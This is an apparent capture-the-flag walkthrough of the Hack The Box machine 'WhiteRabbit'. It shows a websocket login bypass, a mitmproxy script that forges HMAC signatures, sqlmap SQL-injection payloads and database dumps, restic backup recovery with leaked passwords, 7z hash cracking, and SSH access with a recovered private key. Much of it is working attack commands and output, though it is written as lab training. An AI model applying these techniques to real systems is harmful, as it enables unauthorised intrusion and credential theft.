HTB: WhiteRabbit
WhiteRabbit is a pentesting company. I’ll exploit their Uptime Kuma instance to find the domain for their WikiJS wiki. On that I’ll find documentation for a n8n pipeline, and find an SQL injection vulnerability in how it processes email, as well as the key for crafting signatures. I’ll make a proxy to add signatures using mitmproxy and then use sqlmap to dump the database. In the DB I’ll find restic commands, which I’ll use to get a backup with SSH keys. I’ll abuse restic command injection to get root on a container, and find SSH keys for a user on the host. From there I’ll find a custom password generator, and using logs from the DB that leak the time the command was run, generate the right password for the next user. That user can run any command as root.
Box Info
| Name | WhiteRabbit Play on HackTheBox |
|---|---|
| Release Date | 05 Apr 2025 |
| Retire Date | 13 Dec 2025 |
| OS | Linux |
| Base Points | Insane [50] |
| Rated Difficulty | ![]() |
| Radar Graph | ![]() |
| 01:09:36 |
|
| 01:48:56 |
|
| Creator |
Recon
Initial Scanning
nmap finds three open TCP ports, SSH (22, 2222) and HTTP (80):
oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.10.11.63
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-22 18:05 UTC
...[snip]...
Nmap scan report for 10.10.11.63
Host is up, received echo-reply ttl 63 (0.024s latency).
Scanned at 2025-11-22 18:05:24 UTC for 6s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 62
2222/tcp open EtherNetIP-1 syn-ack ttl 62
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 6.59 seconds
Raw packets sent: 65801 (2.895MB) | Rcvd: 65536 (2.621MB)
oxdf@hacky$ nmap -p 22,80,2222 -sCV 10.10.11.63
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-22 18:05 UTC
Nmap scan report for 10.10.11.63
Host is up (0.023s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0f:b0:5e:9f:85:81:c6:ce:fa:f4:97:c2:99:c5:db:b3 (ECDSA)
|_ 256 a9:19:c3:55:fe:6a:9a:1b:83:8f:9d:21:0a:08:95:47 (ED25519)
80/tcp open http Caddy httpd
|_http-server-header: Caddy
|_http-title: Did not follow redirect to http://whiterabbit.htb
2222/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 c8:28:4c:7a:6f:25:7b:58:76:65:d8:2e:d1:eb:4a:26 (ECDSA)
|_ 256 ad:42:c0:28:77:dd:06:bd:19:62:d8:17:30:11:3c:87 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.71 seconds
There’s one additional hop to get to the webserver and SSH on 2222:
oxdf@hacky$ sudo lft 10.10.11.63:22
Tracing ...T
TTL LFT trace to 10.10.11.63:22/tcp
1 10.10.14.1 21.7ms
2 [target open] 10.10.11.63:22 21.9ms
oxdf@hacky$ sudo lft 10.10.11.63:80
Tracing .....T
TTL LFT trace to 10.10.11.63:80/tcp
1 10.10.14.1 22.4ms
2 10.10.11.63 22.2ms
3 [target open] 10.10.11.63:80 22.5ms
oxdf@hacky$ sudo lft 10.10.11.63:2222
Tracing ....T
TTL LFT trace to 10.10.11.63:2222/tcp
1 10.10.14.1 21.9ms
2 10.10.11.63 21.9ms
3 [target open] 10.10.11.63:2222 21.7ms
That implies a container or VM with the webserver and a second SSH. All of the ports show a TTL of 63 or 62, which matches the expected TTL for Linux one or two hops away.
Based on the OpenSSH versions both the host and container are likely running Ubuntu 24.04 noble LTS.
The website is redirecting to whiterabbit.htb. It’s also running the Caddy as a webserver. Caddy is a Go webserver which is much less common than Apache or nginx, but still used in the real world.
Subdomain Brute Force
Given the use of virtual host routing on the webserver, I’ll use ffuf to brute force for any subdomains that respond differently than the default case:
oxdf@hacky$ ffuf -u http://10.10.11.63 -H "Host: FUZZ.whiterabbit.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.11.63
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.whiterabbit.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
status [Status: 302, Size: 32, Words: 4, Lines: 1, Duration: 29ms]
:: Progress: [19966/19966] :: Job [1/1] :: 1769 req/sec :: Duration: [0:00:11] :: Errors: 0 ::
It finds status. I’ll add that and the base domain to my /etc/hosts file:
10.10.11.63 whiterabbit.htb status.whiterabbit.htb
whiterabbit.htb - TCP 80
Site
The site is for a pentesting company:
All of the links lead to other anchors on the page. They mention use of n8n for automation, GoPhish and Stalwart for phishing, and Uptime Kuma for infrastructure monitoring.
Tech Stack
The HTTP response headers don’t show anything interesting beyond the Caddy server:
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 6109
Content-Type: text/html; charset=utf-8
Etag: "d3ti25l7iyi04pp"
Last-Modified: Fri, 30 Aug 2024 19:40:12 GMT
Server: Caddy
Vary: Accept-Encoding
Date: Sat, 22 Nov 2025 11:11:32 GMT
The index page loads as /index.html, suggesting a static site.
Directory Brute Force
I’ll run feroxbuster against the site, and include -x html since the main page is:
oxdf@hacky$ feroxbuster -u http://whiterabbit.htb -x html
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://whiterabbit.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
💲 Extensions │ [html]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 0l 0w 0c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 116l 510w 6109c http://whiterabbit.htb/index.html
200 GET 3160l 17841w 1426261c http://whiterabbit.htb/phish.png
200 GET 3066l 17141w 1391904c http://whiterabbit.htb/uptime.png
200 GET 3683l 20644w 1621908c http://whiterabbit.htb/n8n.png
200 GET 116l 510w 6109c http://whiterabbit.htb/
[####################] - 28s 30003/30003 0s found:5 errors:0
[####################] - 28s 30000/30000 1082/s http://whiterabbit.htb/
Nothing at all.
status.whiterabbit.htb - TCP 80
Site
This website is an instance of Uptime Kuma (as mentioned on the main page):
It just presents a login page.
Tech Stack
I can’t find the version of Uptime Kuma anywhere on the page (at least before logging in). The HTTP response headers just show Caddy as well:
HTTP/1.1 302 Found
Content-Length: 64
Content-Type: text/html; charset=utf-8
Date: Mon, 08 Dec 2025 13:42:55 GMT
Location: /dashboard
Server: Caddy
Vary: Accept
X-Frame-Options: SAMEORIGIN
My guess at this point is that Caddy is running on the host, proxying port 80 to a Uptime Kuma container.
Uptime Kuma is using Socket.IO for communication between the client and the server:
This is a common framework for setting up websockets in JavaScript.
Demo
Rather than brute force paths on an open source product, I’ll check out the documentation a bit, and find Uptime Kuma has a nice demo page. I can create an account and a temporary instance and play around with it. Interesting, there are no endpoints used in the demo, but rather, everything is just managed over websocket and JavaScript.
Shell as bob on Container
Identify Additional Subdomains
Uptime Kuma Login Bypass
When I try to login to Uptime Kuma, it shows an error message:
Looking in Burp, it doesn’t show any POST request with this login data. Rather, it shows up in a websocket message:
The response shows that the login failed:
I’ll turn on Intercept in Burp and login again. I’ll forward the message with my bad creds, but catch the response and change false to true:
On forwarding that, the logged in page loads:
If I turn Intercept off, the page barely works, and quickly identifies that I’m not logged in and presents the login form. However, if I leave intercept enabled, it effectively blocks all websocket comms. I’m able click around a bit and interact with the site, though anything that requires websocket data don’t work. After 30 seconds or so, a red banner will appear across the top of the page:
As soon as I turn Intercept off, the websockets resume communication with the server and I’m back at the login screen.
Version
A lot of the settings show up very sparse, either failing to populate because of the blocked websocket or just not configured for this site. There are no API keys configured. There’s a Backup page, but without the websocket I can’t make use of it.
On Settings > About it does give the version:
It’s version 1.23.13. I’ll look for CVEs, and most interestingly find CVE-2024-56331, am authenticated LFI vulnerability, but I won’t end up needing it here.
Monitors / Status Pages
Uptime Kuma has the concept of both monitors and status pages. Monitors are the core component that are configured to track a service or website. Status pages are public-facing dashboards meant to present data from one or more monitors.
It doesn’t show any monitors:
I suspect that’s because that site would be requesting this data over the currently-blocked websocket. Trying to view the Status Pages just hangs (again, probably due to the blocked websocket):
If I click on “New Status Page” there’s a form:
It takes a name, and a string to fill out the url /status/[page].
Status Page Brute Force
Status pages are meant to be publicly accessible, so I’ll run feroxbuster to look for any on WhiteRabbit:
oxdf@hacky$ feroxbuster -u http://status.whiterabbit.htb/status
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://status.whiterabbit.htb/status
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 38l 143w 2444c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 41l 152w 3359c http://status.whiterabbit.htb/status/temp
[####################] - 3m 30011/30011 0s found:1 errors:0
[####################] - 3m 30000/30000 147/s http://status.whiterabbit.htb/status/
It finds /status/temp! This page shows four monitors:
It also leaks two new domains:
- GoPhish on
ddb09a8558c9.whiterabbit.htb - WikiJS on
a668910b5514e.whiterabbit.htb
I’ll add both to my hosts file. The GoPhish page just presents a login page for which I don’t have creds.
SQL Injection
WikiJS Documentation
The WikiJS domain is a wiki:
The main page has a note about needing to add auth to this page. “Browse” shows two pages:
The other page is all about the phishing automations in place:
The diagram and text describes a flow in n8n:
- GoPhish sends a POST request to n8n with the event data such as the campaign id, email, and type of action.
- The next four stages involve getting the signature from the POST request and making sure it matches the signature of the data.
- The there’s a DB query to get the current phishing score.
- On error, there’s a “DEBUG: REMOVE SOON” endpoint.
- Then it updates the phishing score in the database based on the data.
The page provides an example POST request:
POST /webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d HTTP/1.1
Host: 28efa8f7df.whiterabbit.htb
x-gophish-signature: sha256=cf4651463d8bc629b9b411c58480af5a9968ba05fca83efa03a21b2cecd1c2dd
Accept: */*
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/json
Content-Length: 81
{
"campaign_id": 1,
"email": "test@ex.com",
"message": "Clicked Link"
}
28efa8f7df.whiterabbit.htb must be the n8n hostname.
There’s also a JSON file that represents an export of the n8n flow. This gives details of how each stage works, most importantly, how the signature is generated:
oxdf@hacky$ cat gophish_to_phishing_score_database.json | jq '.nodes[] | select(.name == "Calculate the signature")'
{
"parameters": {
"action": "hmac",
"type": "SHA256",
"value": "={{ JSON.stringify($json.body) }}",
"dataPropertyName": "calculated_signature",
"secret": "3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"
},
"id": "e406828a-0d97-44b8-8798-6d066c4a4159",
"name": "Calculate the signature",
"type": "n8n-nodes-base.crypto",
"typeVersion": 1,
"position": [
860,
340
]
}
It’s a SHA256 HMAC with the secret “3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS”.
Recreate Signature
If I take the example request and put it in Burp Repeater, it works in the sense that the signature is not rejected:
If I change the data (for example the campaign_id from 1 to 2), it rejects because of the signature:
If I change it back to 1, but mess with whitespace, it still works:
That’s because the n8n step is running the body through JSON.stringify here before calculating the HMAC:
"parameters": {
"action": "hmac",
"type": "SHA256",
"value": "={{ JSON.stringify($json.body) }}",
"dataPropertyName": "calculated_signature",
"secret": "3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"
},
That effectively removes all whitespace:
In CyberChef, the “JSON Minify” operation will achieve this:
That makes the same signature as the example that’s accepted.
In Python, I can get this using the separators argument to the json.dumps function:
>>> data = {
... "campaign_id": 1,
... "email": "test@ex.com",
... "message": "Clicked Link"
... }
>>> json.dumps(data, separators=(',',':'))
'{"campaign_id":1,"email":"test@ex.com","message":"Clicked Link"}'
By default the separators are ‘, ‘ and ‘: ‘ (with a space after each):
>>> json.dumps(data)
'{"campaign_id": 1, "email": "test@ex.com", "message": "Clicked Link"}'
I can calc the signature in Python as well:
>>> import hmac
>>> import hashlib
>>> hmac.new("3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS".encode(), json.dumps(data, separators=(',',':')).encode(), hashlib.sha256).hexdigest()
'cf4651463d8bc629b9b411c58480af5a9968ba05fca83efa03a21b2cecd1c2dd'
To prove I can send arbitrary requests, I’ll calculate a new signature for the email address “0xdf@ex.com”:
No signature error:
Identify SQL Injection
The response there is the error message from the “Get current phishing score” n8n node:
{
"parameters": {
"operation": "executeQuery",
"query": "SELECT * FROM victims where email = \"{{ $json.body.email }}\" LIMIT 1",
"options": {}
},
"id": "5929bf85-d38b-4fdd-ae76-f0a61e2cef55",
"name": "Get current phishing score",
"type": "n8n-nodes-base.mySql",
"typeVersion": 2.4,
"position": [
1380,
260
],
"alwaysOutputData": true,
"retryOnFail": false,
"executeOnce": false,
"notesInFlow": false,
"credentials": {
"mySql": {
"id": "qEqs6Hx9HRmSTg5v",
"name": "mariadb - phishing"
}
},
"onError": "continueErrorOutput"
}
The SQL query is run with user input in a template:
SELECT * FROM victims where email = \"{{ $json.body.email }}\" LIMIT 1
This is likely vulnerable to SQL injection.
SQLI POC
To test for SQLI, I’ll try sending an email ending with double quote to crash the query. Typically I wouldn’t see that kind of crash, but this pipeline is configure such that if it fails, it sends the results to “DEBUG: REMOVE SOON”:
"Get current phishing score": {
"main": [
[
{
"node": "check if user exists in database",
"type": "main",
"index": 0
}
],
[
{
"node": "DEBUG: REMOVE SOON",
"type": "main",
"index": 0
}
]
]
},
That node sends the error message back in a response to the webhook:
{
"parameters": {
"respondWith": "text",
"responseBody": "={{ $json.message }} | {{ JSON.stringify($json.error)}}",
"options": {}
},
"id": "d3f8446a-81af-4e5a-894e-e0eab0596364",
"name": "DEBUG: REMOVE SOON",
"type": "n8n-nodes-base.respondToWebhook",
"typeVersion": 1.1,
"position": [
1620,
20
]
},
I’ll calculate the signature:
And send it:
Because of how it’s set up, it’s a 200 response, but it’s definitely a crash message. I can see the two doublequotes after the email address in the query output at the top of the message.
sqlmap
To use sqlmap to exploit this, I’ll need a way to add the signature to each request being sent. I’ll use mitmproxy, a neat Python-based proxy tool. I’ll create a simple Python script, signature_proxy.py:
#!/usr/bin/env python3
import hmac
import hashlib
import json
from mitmproxy import http
SECRET = b"3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"
def request(flow: http.HTTPFlow) -> None:
if flow.request.content:
try:
data = json.loads(flow.request.content)
body = json.dumps(data, separators=(',', ':')).encode()
except json.JSONDecodeError:
body = flow.request.content
signature = hmac.new(SECRET, body, hashlib.sha256).hexdigest()
flow.request.headers["x-gophish-signature"] = f"sha256={signature}"
It says for each request, if there is content, get that content, generate the signature, and add it as a header. I’ll run this with mitmproxy -s signature_proxy.py -p 8888 --mode regular, which tells mitmproxy to use the script I just wrote, listening on port 8888. It opens a window that shows the various requests coming through it:
Now I’ll run sqlmap with the following options:
-u "http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d"- the URL to target--proxy=http://127.0.0.1:8888- the listeningmitmproxy--method=POST- it’s a POST request--data='{"campaign_id":1,"email":"test","message":"Clicked Link"}'- the legit data to send--headers="Content-Type: application/json"- the Content-Type header necessary for the JSON data to be processed by the server-p email- point out that the email field is what’s injectable--dbms mysql- letsqlmapknow the backend DB--batch- automatically answer questions with the default
It finds the injection:
oxdf@hacky$ sqlmap -u "http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d" --proxy=http://127.0.0.1:8888 --method=POST --data='{"campaign_id":1,"email":"test","message":"Clicked Link"}' --headers="Content-Type: application/json" -p email --dbms mysql --batch --flush-session
___
__H__
___ ___[']_____ ___ ___ {1.9.9.1#dev}
|_ -| . [)] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
...[snip]...
sqlmap identified the following injection point(s) with a total of 601 HTTP(s) requests:
---
Parameter: JSON email ((custom) POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: {"campaign_id":1,"email":"test" RLIKE (SELECT (CASE WHEN (4653=4653) THEN 0x74657374 ELSE 0x28 END))-- tTvq","message":"Clicked Link"}
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: {"campaign_id":1,"email":"test" AND (SELECT 3184 FROM(SELECT COUNT(*),CONCAT(0x717a786271,(SELECT (ELT(3184=3184,1))),0x71717a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- Lkre","message":"Clicked Link"}
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: {"campaign_id":1,"email":"test";SELECT SLEEP(5)#","message":"Clicked Link"}
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: {"campaign_id":1,"email":"test" AND (SELECT 8805 FROM (SELECT(SLEEP(5)))yhAB)-- SiMq","message":"Clicked Link"}
---
[] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
...[snip]...
I’ll add --dbs to list the DBs, which results in:
available databases [3]:
[*] information_schema
[*] phishing
[*] temp
phishing DB
I’ll replace --dbs with -D phishing --tables to list the tables in the phishing DB:
Database: phishing
[1 table]
+---------+
| victims |
+---------+
I’ll replace --tables with -T victims --dump to get the list:
Database: phishing
Table: victims
[30 entries]
+--------------------+----------------+
| email | phishing_score |
+--------------------+----------------+
| test1@example.com | 20 |
| test10@example.com | 100 |
| test11@example.com | 110 |
| test12@example.com | 120 |
| test13@example.com | 130 |
| test14@example.com | 140 |
| test15@example.com | 150 |
| test16@example.com | 160 |
| test17@example.com | 170 |
| test18@example.com | 180 |
| test19@example.com | 190 |
| test2@example.com | 20 |
| test20@example.com | 200 |
| test21@example.com | 210 |
| test22@example.com | 220 |
| test23@example.com | 230 |
| test24@example.com | 240 |
| test25@example.com | 250 |
| test26@example.com | 260 |
| test27@example.com | 270 |
| test28@example.com | 280 |
| test29@example.com | 290 |
| test3@example.com | 30 |
| test30@example.com | 300 |
| test4@example.com | 40 |
| test5@example.com | 50 |
| test6@example.com | 8270 |
| test7@example.com | 70 |
| test8@example.com | 80 |
| test9@example.com | 90 |
+--------------------+----------------+
temp DB
I’ll switch over to -D temp --tables to list the tables in the temp DB:
Database: temp
[1 table]
+-------------+
| command_log |
+-------------+
I’ll dump this table as well:
Database: temp
Table: command_log
[6 entries]
+----+---------------------+------------------------------------------------------------------------------+
| id | date | command |
+----+---------------------+------------------------------------------------------------------------------+
| 1 | 2024-08-30 10:44:01 | uname -a |
| 2 | 2024-08-30 11:58:05 | restic init --repo rest:http://75951e6ff.whiterabbit.htb |
| 3 | 2024-08-30 11:58:36 | echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd |
| 4 | 2024-08-30 11:59:02 | rm -rf .bash_history |
| 5 | 2024-08-30 11:59:47 | #thatwasclose |
| 6 | 2024-08-30 14:40:42 | cd /home/neo/ && /opt/neo-password-generator/neo-password-generator | passwd |
+----+---------------------+------------------------------------------------------------------------------+
There are six commands. 2 is a restic backup command with another domain, 75951e6ff.whiterabbit.htb. 3 saves a password to .restic_passwd. 6 changes the executing user’s password (presumably the neo user). I’ll come back to row 6 later.
Restic Backup
Recover Backup
I recently dealt with Backrest, a GUI wrapper around restic, in Artificial. Here I have access to only raw restic. I’ll use the client (sudo apt install restic) to list the snapshots available:
oxdf@hacky$ RESTIC_PASSWORD=ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw restic -r rest:http://75951e6ff.whiterabbit.htb snapshots
repository 5b26a938 opened (version 2, compression level auto)
ID Time Host Tags Paths
------------------------------------------------------------------------
272cacd5 2025-03-07 00:18:40 whiterabbit /dev/shm/bob/ssh
------------------------------------------------------------------------
1 snapshots
I’ll restore the files from that snapshot to a directory on my filesystem:
oxdf@hacky$ RESTIC_PASSWORD=ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw restic -r rest:http://75951e6ff.whiterabbit.htb restore 272cacd5 --target ./restic/
repository 5b26a938 opened (version 2, compression level auto)
[0:00] 100.00% 5 / 5 index files loaded
restoring <Snapshot 272cacd5 of [/dev/shm/bob/ssh] at 2025-03-06 17:18:40.024074307 -0700 -0700 by ctrlzero@whiterabbit> to ./restic/
Summary: Restored 5 files/dirs (572 B) in 0:00
There’s only one file, which has SSH keys:
oxdf@hacky$ find restic/ -type f
restic/dev/shm/bob/ssh/bob.7z
oxdf@hacky$ 7z l restic/dev/shm/bob/ssh/bob.7z
7-Zip 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
64-bit locale=en_US.UTF-8 Threads:12 OPEN_MAX:1024
Scanning the drive for archives:
1 file, 572 bytes (1 KiB)
Listing archive: restic/dev/shm/bob/ssh/bob.7z
--
Path = restic/dev/shm/bob/ssh/bob.7z
Type = 7z
Physical Size = 572
Headers Size = 204
Method = LZMA2:12 7zAES
Solid = +
Blocks = 1
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2025-03-07 00:10:35 ....A 399 368 bob
2025-03-07 00:10:35 ....A 91 bob.pub
2025-03-07 00:11:05 ....A 67 config
------------------- ----- ------------ ------------ ------------------------
2025-03-07 00:11:05 557 368 3 files
Crack 7z
I’ll use 7z2john.pl from the John The Ripper project to make a hash for this archive:
oxdf@hacky$ /opt/john/run/7z2john.pl restic/dev/shm/bob/ssh/bob.7z | tee bob.7z.hash
ATTENTION: the hashes might contain sensitive encrypted data. Be careful when sharing or posting these hashes
bob.7z:$7z$2$19$0$$8$61d81f6f9997419d0000000000000000$4049814156$368$365$7295a784b0a8cfa7d2b0a8a6f88b961c8351682f167ab77e7be565972b82576e7b5ddd25db30eb27137078668756bf9dff5ca3a39ca4d9c7f264c19a58981981486a4ebb4a682f87620084c35abb66ac98f46fd691f6b7125ed87d58e3a37497942c3c6d956385483179536566502e598df3f63959cf16ea2d182f43213d73feff67bcb14a64e2ecf61f956e53e46b17d4e4bc06f536d43126eb4efd1f529a2227ada8ea6e15dc5be271d60360ff5c816599f0962fc742174ff377e200250b835898263d997d4ea3ed6c3fc21f64f5e54f263ebb464e809f9acf75950db488230514ee6ed92bd886d0a9303bc535ca844d2d2f45532486256fbdc1f606cca1a4680d75fa058e82d89fd3911756d530f621e801d73333a0f8419bd403350be99740603dedff4c35937b62a1668b5072d6454aad98ff491cb7b163278f8df3dd1e64bed2dac9417ca3edec072fb9ac0662a13d132d7aa93ff58592703ec5a556be2c0f0c5a3861a32f221dcb36ff3cd713$399$00
I’ll pass that to hashcat:
$ hashcat bob.7z.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt --user
hashcat (v7.1.2) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
11600 | 7-Zip | Archive
...[snip]...
$7z$2$19$0$$8$61d81f6f9997419d0000000000000000$4049814156$368$365$7295a784b0a8cfa7d2b0a8a6f88b961c8351682f167ab77e7be565972b82576e7b5ddd25db30eb27137078668756bf9dff5ca3a39ca4d9c7f264c19a58981981486a4ebb4a682f87620084c35abb66ac98f46fd691f6b7125ed87d58e3a37497942c3c6d956385483179536566502e598df3f63959cf16ea2d182f43213d73feff67bcb14a64e2ecf61f956e53e46b17d4e4bc06f536d43126eb4efd1f529a2227ada8ea6e15dc5be271d60360ff5c816599f0962fc742174ff377e200250b835898263d997d4ea3ed6c3fc21f64f5e54f263ebb464e809f9acf75950db488230514ee6ed92bd886d0a9303bc535ca844d2d2f45532486256fbdc1f606cca1a4680d75fa058e82d89fd3911756d530f621e801d73333a0f8419bd403350be99740603dedff4c35937b62a1668b5072d6454aad98ff491cb7b163278f8df3dd1e64bed2dac9417ca3edec072fb9ac0662a13d132d7aa93ff58592703ec5a556be2c0f0c5a3861a32f221dcb36ff3cd713$399$00:1q2w3e4r5t6y
...[snip]...
It cracks to a keyboard walk, “1q2w3e4r5t6y”.
SSH
Now I can decompress the archive:
oxdf@hacky$ 7z x restic/dev/shm/bob/ssh/bob.7z
7-Zip 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
64-bit locale=en_US.UTF-8 Threads:12 OPEN_MAX:1024
Scanning the drive for archives:
1 file, 572 bytes (1 KiB)
Extracting archive: restic/dev/shm/bob/ssh/bob.7z
--
Path = restic/dev/shm/bob/ssh/bob.7z
Type = 7z
Physical Size = 572
Headers Size = 204
Method = LZMA2:12 7zAES
Solid = +
Blocks = 1
Enter password (will not be echoed):
Everything is Ok
Files: 3
Size: 557
Compressed: 572
The three files are as expected:
oxdf@hacky$ cat bob.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG8NNTJHAXhD4DaKbE4OdjyEFMQae80HRLa9ouGYdkLj root@lucy
oxdf@hacky$ cat bob
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBvDTUyRwF4Q+A2imxODnY8hBTEGnvNB0S2vaLhmHZC4wAAAJAQ+wJXEPsC
VwAAAAtzc2gtZWQyNTUxOQAAACBvDTUyRwF4Q+A2imxODnY8hBTEGnvNB0S2vaLhmHZC4w
AAAEBqLjKHrTqpjh/AqiRB07yEqcbH/uZA5qh8c0P72+kSNW8NNTJHAXhD4DaKbE4OdjyE
FMQae80HRLa9ouGYdkLjAAAACXJvb3RAbHVjeQECAwQ=
-----END OPENSSH PRIVATE KEY-----
oxdf@hacky$ cat config
Host whiterabbit
HostName whiterabbit.htb
Port 2222
User bob
It’s a bit weird that the comment is “root@lucy”, but given the config, it seems a good idea to try on port 2222 of WhiteRabbit:
oxdf@hacky$ ssh -i bob -p 2222 bob@whiterabbit.htb
Warning: Permanently added '[whiterabbit.htb]:2222' (ED25519) to the list of known hosts.
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.8.0-57-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Mon Mar 24 15:40:49 2025 from 10.10.14.62
bob@ebdce80611e9:~$
It works!
Shell as root on Container
Enumeration
It’s clear that this is in a Docker container, matching what I observed with TTLs from nmap. The hostname is a standard Docker random hex characters, and there’s a .dockerenv file at the system root. Tools like ifconfig, ip, netstat, and ss are not installed. The IP address is 172.17.0.2:
bob@ebdce80611e9:~$ cat /proc/net/fib_trie
Main:
+-- 0.0.0.0/0 3 0 5
|-- 0.0.0.0
/0 universe UNICAST
+-- 127.0.0.0/8 2 0 2
+-- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
+-- 172.17.0.0/16 2 0 2
+-- 172.17.0.0/30 2 0 2
|-- 172.17.0.0
/16 link UNICAST
|-- 172.17.0.2
/32 host LOCAL
|-- 172.17.255.255
/32 link BROADCAST
Local:
+-- 0.0.0.0/0 3 0 5
|-- 0.0.0.0
/0 universe UNICAST
+-- 127.0.0.0/8 2 0 2
+-- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
+-- 172.17.0.0/16 2 0 2
+-- 172.17.0.0/30 2 0 2
|-- 172.17.0.0
/16 link UNICAST
|-- 172.17.0.2
/32 host LOCAL
|-- 172.17.255.255
/32 link BROADCAST
None of the services I’ve interacted with so far seem to be on this host. The only listening port is 22 (using /proc/net/tcp since netstat and ss aren’t installed):
bob@ebdce80611e9:~$ cat /proc/net/tcp
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
0: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 19027 1 0000000000000000 100 0 0 10 0
